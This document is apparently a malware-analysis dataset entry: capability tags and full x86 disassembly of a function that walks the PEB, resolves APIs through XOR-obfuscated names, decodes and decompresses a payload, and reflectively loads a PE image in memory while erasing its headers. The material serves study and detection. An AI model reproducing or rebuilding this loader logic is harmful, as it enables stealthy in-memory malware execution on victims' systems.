Function at 0x10001f50
Capabilities:
Access peb ldr_data
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0xc8
mov eax, dword fs:[0x30]
xorps xmm0, xmm0
movaps xmmword [esp + 0x58], xmm0
movaps xmmword [esp + 0x38], xmm0
mov edx, dword [esp + 0x38]
movaps xmmword [esp + 0x48], xmm0
movaps xmmword [esp + 0x68], xmm0
movaps xmmword [esp + 0x78], xmm0
mov dword [esp + 0x60], eax
mov eax, dword [eax + 0xc]
push esi
push edi
mov dword [esp + 0xcc], ecx
mov esi, dword [eax + 0xc]
mov edi, dword [esi + 0x18]
test edi, edi
je 0x10001fd3
nop dword [eax]
mov ecx, dword [esi + 0x30]
movzx eax, word [ecx]
cmp eax, 0x4e
je 0x10001fb0
cmp eax, 0x6e
jne 0x10001fc6
cmp word [ecx + 2], 0x74
jne 0x10001fc6
mov ax, word [ecx + 6]
cmp ax, word [ecx + 8]
cmove edx, edi
mov dword [esp + 0x40], edx
test edx, edx
jne 0x10001fd3
mov esi, dword [esi]
mov edi, dword [esi + 0x18]
test edi, edi
jne 0x10001fa0
mov eax, dword [edx + 0x3c]
mov eax, dword [eax + edx + 0x78]
add eax, edx
mov dword [esp + 0x2c], eax
mov esi, dword [eax + 0x20]
mov ecx, dword [eax + 0x24]
add esi, edx
mov eax, dword [esp + 0x5c]
add ecx, edx
mov dword [esp + 0xc0], eax
mov eax, dword [esp + 0x58]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x54]
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 0xa0], eax
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 0x98], eax
mov eax, dword [esp + 0x44]
mov dword [esp + 0x24], ecx
mov dword [esp + 0xbc], eax
mov eax, dword [esi]
mov dword [esp + 0x28], esi
mov ecx, dword [eax + edx + 8]
mov esi, dword [eax + edx]
xor ecx, 0xf4540e80
mov edi, dword [eax + edx + 4]
xor esi, 0xf4540e80
mov dword [esp + 0x10], ecx
xor edi, 0xf4540e80
mov ecx, dword [eax + edx + 0xc]
xor ecx, 0xf4540e80
mov dword [esp + 0x14], ecx
mov ecx, dword [eax + edx + 0x10]
mov eax, dword [eax + edx + 0x14]
xor ecx, 0xf4540e80
xor eax, 0xf4540e80
mov dword [esp + 0x30], ecx
cmp dword [esp + 0x34], 0
mov ecx, dword [esp + 0x24]
mov dword [esp + 0xc4], eax
mov eax, dword [esp + 0x10]
jne 0x100020ee
cmp esi, 0x981579da
jne 0x100020ee
cmp edi, 0x953761ec
jne 0x100020ee
cmp eax, 0x9d026bf4
jne 0x100020ee
cmp dword [esp + 0x14], 0x95217af2
jne 0x100020ee
cmp dword [esp + 0x30], 0x993143ec
jne 0x100020ee
cmp dword [esp + 0xc4], 0xf42d7cef
jne 0x100020ee
mov eax, dword [esp + 0x2c]
movzx ecx, word [ecx]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [esp + 0x24]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0x34], eax
mov dword [esp + 0x4c], eax
mov eax, dword [esp + 0x10]
cmp dword [esp + 0xa0], 0
jne 0x10002140
cmp esi, 0x861279da
jne 0x10002140
cmp edi, 0x9d026be5
jne 0x10002140
cmp eax, 0x95217af2
jne 0x10002140
cmp dword [esp + 0x14], 0x993143ec
jne 0x10002140
cmp dword [esp + 0x30], 0xf42d7cef
jne 0x10002140
mov eax, dword [esp + 0x2c]
movzx ecx, word [ecx]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0xa0], eax
mov dword [esp + 0x50], eax
cmp dword [esp + 0x98], 0
jne 0x1000217b
cmp esi, 0xb8266acc
jne 0x1000217b
cmp edi, 0xb0306fef
jne 0x1000217b
mov eax, dword [esp + 0x24]
movzx ecx, word [eax]
mov eax, dword [esp + 0x2c]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0x98], eax
mov dword [esp + 0x48], eax
cmp dword [esp + 0xbc], 0
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
jne 0x100021df
cmp esi, 0xb3266acc
jne 0x100021df
cmp edi, 0x86047ae5
jne 0x100021df
cmp eax, 0x90316def
jne 0x100021df
cmp ecx, 0xb5317cf5
jne 0x100021df
cmp dword [esp + 0x30], 0x91266ae4
jne 0x100021df
mov eax, dword [esp + 0x24]
movzx ecx, word [eax]
mov eax, dword [esp + 0x2c]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [esp + 0x14]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0xbc], eax
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0x10]
cmp dword [esp + 0x18], 0
jne 0x1000223a
cmp esi, 0xb5387ad2
jne 0x1000223a
cmp edi, 0xa73d7dee
jne 0x1000223a
cmp eax, 0x9a3d7cf4
jne 0x1000223a
cmp ecx, 0xa13b5ae7
jne 0x1000223a
cmp dword [esp + 0x30], 0x9b3767ee
jne 0x1000223a
cmp dword [esp + 0xc4], 0x80076be4
jne 0x1000223a
mov eax, dword [esp + 0x24]
movzx ecx, word [eax]
mov eax, dword [esp + 0x2c]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0x18], eax
mov dword [esp + 0x58], eax
cmp dword [esp + 0xc0], 0
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
jne 0x1000229e
cmp esi, 0xb2387ad2
jne 0x1000229e
cmp edi, 0xa1316bf2
jne 0x1000229e
cmp eax, 0x9b3767ee
jne 0x1000229e
cmp ecx, 0x80076be4
jne 0x1000229e
cmp dword [esp + 0x30], 0x933a67f2
jne 0x1000229e
mov eax, dword [esp + 0x24]
movzx ecx, word [eax]
mov eax, dword [esp + 0x2c]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [esp + 0x14]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0xc0], eax
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 0x10]
cmp dword [esp + 0x3c], 0
jne 0x100022e2
cmp esi, 0xb0387ad2
jne 0x100022e2
cmp edi, 0x993b6de5
jne 0x100022e2
cmp eax, 0x87317cf0
jne 0x100022e2
cmp ecx, 0x92214cf3
jne 0x100022e2
mov eax, dword [esp + 0x24]
movzx ecx, word [eax]
mov eax, dword [esp + 0x2c]
mov eax, dword [eax + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
mov dword [esp + 0x3c], eax
mov dword [esp + 0x54], eax
cmp dword [esp + 0x98], 0
je 0x10002318
cmp dword [esp + 0x34], 0
je 0x10002318
cmp dword [esp + 0xa0], 0
je 0x10002318
cmp dword [esp + 0xbc], 0
je 0x10002318
cmp dword [esp + 0xc0], 0
je 0x10002318
cmp dword [esp + 0x18], 0
jne 0x10002329
mov esi, dword [esp + 0x28]
add esi, 4
add dword [esp + 0x24], 2
jmp 0x10002032
mov edi, dword [esp + 0xcc]
xor edx, edx
lea ecx, [edi + 4]
movzx eax, word [edi + 2]
lea ecx, [ecx + 2]
add word [ecx - 2], ax
movzx eax, word [edi]
xor word [ecx - 2], ax
lea eax, [edx + 0x128e]
add word [edi], ax
inc edx
cmp edx, 4
jl 0x10002335
mov eax, dword [edi + 8]
mov edx, 4
and eax, 0xfffffffe
cmp eax, 8
jbe 0x10002395
lea ecx, [edi + 0xc]
nop dword [eax]
movzx eax, word [edi + 2]
lea ecx, [ecx + 2]
add word [ecx - 2], ax
movzx eax, word [edi]
xor word [ecx - 2], ax
lea eax, [edx + 0x128e]
add word [edi], ax
inc edx
mov eax, dword [edi + 8]
shr eax, 1
cmp edx, eax
jb 0x10002370
mov eax, dword [edi + 4]
push 4
push 0x1000
mov dword [esp + 0x40], eax
lea eax, [esp + 0x40]
push eax
push 0
lea eax, [esp + 0x70]
push eax
push 0xffffffffffffffff
call dword [esp + 0x4c]
lea eax, [esp + 0x64]
push eax
push dword [edi + 8]
lea eax, [edi + 0xc]
push eax
push dword [edi + 4]
push dword [esp + 0x70]
push 0x102
call dword [esp + 0x6c]
mov ecx, dword [esp + 0x60]
mov eax, 0x5a4d
mov dword [esp + 0x6c], ecx
cmp word [ecx], ax
je 0x100023eb
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov dword [esp + 0x70], eax
cmp dword [eax], 0x4550
jne 0x100023e3
mov eax, dword [eax + 0x50]
push 0x40
push 0x1000
mov dword [esp + 0x40], eax
lea eax, [esp + 0x40]
push eax
push 0
lea eax, [esp + 0x84]
push eax
push 0xffffffffffffffff
call dword [esp + 0x64]
mov edx, dword [esp + 0x74]
test edx, edx
je 0x100023e3
mov eax, dword [esp + 0x70]
xor ecx, ecx
cmp dword [eax + 0x54], ecx
jbe 0x1000244a
mov eax, dword [esp + 0x6c]
mov al, byte [ecx + eax]
mov byte [ecx + edx], al
inc ecx
mov eax, dword [esp + 0x70]
mov edx, dword [esp + 0x74]
cmp ecx, dword [eax + 0x54]
jb 0x10002432
mov eax, dword [esp + 0x6c]
xor ecx, ecx
mov dword [esp + 0x18], ecx
mov eax, dword [eax + 0x3c]
add eax, edx
mov dword [esp + 0x78], eax
mov dword [eax + 0x34], edx
xor edx, edx
mov edi, dword [esp + 0x78]
cmp dx, word [edi + 6]
mov edx, edi
movzx eax, word [edi + 0x14]
jae 0x100024e5
add edi, 0x28
add edi, eax
mov eax, dword [edi]
test eax, eax
jne 0x100024a9
mov eax, dword [esp + 0x70]
mov eax, dword [eax + 0x38]
test eax, eax
je 0x100024d5
xor edx, edx
test eax, eax
je 0x100024d1
nop
mov ecx, dword [edi - 4]
mov eax, dword [esp + 0x74]
add ecx, edx
inc edx
mov byte [ecx + eax], 0
mov eax, dword [esp + 0x70]
cmp edx, dword [eax + 0x38]
jb 0x10002490
jmp 0x100024cd
xor esi, esi
test eax, eax
je 0x100024d5
nop
mov ecx, dword [edi + 4]
mov eax, dword [esp + 0x60]
add ecx, esi
mov edx, dword [edi - 4]
add edx, esi
inc esi
mov cl, byte [ecx + eax]
mov eax, dword [esp + 0x74]
mov byte [edx + eax], cl
cmp esi, dword [edi]
jb 0x100024b0
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x78]
movzx eax, word [edx + 6]
inc ecx
add edi, 0x28
mov dword [esp + 0x18], ecx
cmp ecx, eax
jl 0x10002477
mov eax, dword [esp + 0x70]
mov ecx, dword [esp + 0x74]
mov edi, ecx
sub edi, dword [eax + 0x34]
mov dword [esp + 0x7c], edi
je 0x1000258e
cmp dword [edx + 0xa4], 0
jbe 0x1000258e
mov edx, dword [edx + 0xa0]
add edx, ecx
mov dword [esp + 0x18], edx
mov eax, dword [edx]
test eax, eax
je 0x1000258e
nop dword [eax + eax]
add eax, ecx
add edx, 8
mov dword [esp + 0x3c], eax
xor esi, esi
mov eax, dword [esp + 0x18]
add eax, 4
mov dword [esp + 0x28], eax
mov eax, dword [eax]
sub eax, 8
test eax, 0xfffffffe
jbe 0x1000257a
movzx ecx, word [edx]
mov eax, ecx
and eax, 0xf000
cmp eax, 0x3000
jne 0x10002563
and ecx, 0xfff
add ecx, dword [esp + 0x3c]
add dword [ecx], edi
mov edi, dword [esp + 0x7c]
mov eax, dword [esp + 0x28]
inc esi
add edx, 2
mov eax, dword [eax]
sub eax, 8
shr eax, 1
cmp esi, eax
jb 0x10002542
mov ecx, dword [esp + 0x74]
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x18]
add edx, dword [eax]
mov dword [esp + 0x18], edx
mov eax, dword [edx]
test eax, eax
jne 0x10002520
mov eax, dword [esp + 0x78]
cmp dword [eax + 0x84], 0
jbe 0x100026d1
mov esi, dword [eax + 0x80]
add esi, ecx
mov dword [esp + 0x28], esi
je 0x100026d1
mov eax, dword [esi + 0xc]
test eax, eax
je 0x100026cd
add ecx, eax
xor eax, eax
mov dword [esp + 0x8c], ecx
cmp byte [ecx], al
je 0x100025d7
nop dword [eax + eax]
inc eax
cmp byte [eax + ecx], 0
jne 0x100025d0
mov word [esp + 0x88], ax
inc eax
mov word [esp + 0x8a], ax
lea eax, [esp + 0x88]
push 1
push eax
lea eax, [esp + 0x88]
push eax
call dword [esp + 0x64]
lea eax, [esp + 0xc8]
push eax
lea eax, [esp + 0x84]
push eax
push 0
push 0
call dword [esp + 0x58]
lea eax, [esp + 0x80]
push eax
call dword [esp + 0x60]
mov edx, dword [esp + 0xc8]
test edx, edx
je 0x100023e3
mov eax, dword [esi]
mov ecx, dword [esp + 0x74]
test eax, eax
je 0x10002645
mov esi, dword [esi + 0x10]
lea edi, [eax + ecx]
add esi, ecx
jmp 0x1000264c
mov edi, dword [esi + 0x10]
add edi, ecx
mov esi, edi
mov eax, dword [edi]
test eax, eax
je 0x100026bc
test eax, eax
jns 0x1000265f
movzx eax, word [edi]
push esi
push eax
push 0
jmp 0x10002694
add eax, 2
add ecx, eax
xor eax, eax
mov dword [esp + 0x8c], ecx
cmp byte [ecx], al
je 0x10002678
inc eax
cmp byte [eax + ecx], 0
jne 0x10002671
mov word [esp + 0x88], ax
inc eax
push esi
mov word [esp + 0x8e], ax
lea eax, [esp + 0x8c]
push 0
push eax
push edx
call dword [esp + 0x54]
cmp dword [esi], 0
je 0x100026b8
mov eax, dword [edi + 4]
add edi, 4
add esi, 4
test eax, eax
je 0x100026b8
mov ecx, dword [esp + 0x74]
mov edx, dword [esp + 0xc8]
jmp 0x10002652
mov ecx, dword [esp + 0x74]
mov esi, dword [esp + 0x28]
add esi, 0x14
mov dword [esp + 0x28], esi
jne 0x100025b1
mov eax, dword [esp + 0x78]
mov edx, dword [eax + 0x28]
add edx, ecx
xor eax, eax
mov byte [eax + ecx], 0
inc eax
cmp eax, 4
jae 0x100026e8
mov ecx, dword [esp + 0x74]
jmp 0x100026d8
xor ecx, ecx
nop word [eax + eax]
mov eax, dword [esp + 0x78]
mov byte [ecx + eax], 0
inc ecx
cmp ecx, 4
jb 0x100026f0
mov eax, dword [esp + 0x78]
cmp dword [eax + 0x28], 0
je 0x10002718
mov ecx, dword [esp + 0xcc]
push ecx
push 1
push dword [esp + 0x7c]
call edx
push 0x4000
lea eax, [esp + 0x3c]
push eax
lea eax, [esp + 0x68]
push eax
push 0xffffffffffffffff
call dword [esp + 0x60]
mov eax, dword [esp + 0x74]
pop edi
pop esi
mov esp, ebp
pop ebp
ret